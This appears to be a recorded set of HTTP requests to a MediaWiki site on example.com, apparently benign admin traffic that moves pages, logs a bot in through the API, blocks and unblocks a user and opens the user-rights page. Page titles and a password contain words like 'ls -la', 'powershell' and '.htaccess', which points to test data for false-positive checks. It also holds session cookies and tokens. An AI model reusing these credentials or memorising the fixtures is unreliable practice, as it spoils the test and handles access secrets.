{"method": "GET", "target": "/index.php/Ls_-la_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Ls_-la_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 210", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Ls_-la_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=.htaccess+notes&wpReasonList=other&wpReason=Notes+on+.htaccess&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Ls+-la+notes&wpEditToken=0e23055d6e423980b74345e15b657b976af23596%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=3srg8tikpo4r3r9bbl7t5g724a87ckd7", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Notes+on+python3%2C+powershell%2C+ls+-la+and+.htaccess&lgtoken=a8851fd2321f3fac2b6b2a6b4e4f60f46af23598%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Lighthouse+API+notes&to=Python3+API+notes&reason=Notes+on+python3&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 177", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=2%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Python3+API+notes&to=Powershell+API+notes&reason=Notes+on+powershell&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 172", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=4%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Powershell+API+notes&to=Ls+-la+API+notes&reason=Notes+on+ls+-la&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=6%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Ls+-la+API+notes&to=.htaccess+API+notes&reason=Notes+on+.htaccess&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
# Signed in as an administrator: blocking and unblocking a user, searching the
# block list, changing a user's groups, and protecting and deleting a page,
# through the forms and the API.
{"method": "GET", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.TagMultiselectWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%2Cdatetime%2Cexpiry%2CvisibleLengthLimit%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.DateTimeInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-interactions%2Cicons-moderation%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=l6l6m", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Lighthouse&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 334", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3ABlock&wpTarget=Lighthouse&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links&wpAutoBlock=1&wpEditToken=ed914eedcba413702b55d6a5594785366af23fb8%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1i52j", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:BlockList", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=8zkad", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Lighthouse&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ChighlightText%2ClengthLimit%2Csuggestions%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2CuserSuggest%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6b5j1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 126", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": "title=Special%3AUnblock&wpTarget=Lighthouse&wpReason=Spamming+links&wpEditToken=6df7925da8fd4aa3d1f231a06b3299c16af23fbc%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.userrights%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=16i3r", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Lighthouse&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.userrights%7Cmediawiki.widgets.SelectWithInputWidget%2CUserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1isym", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
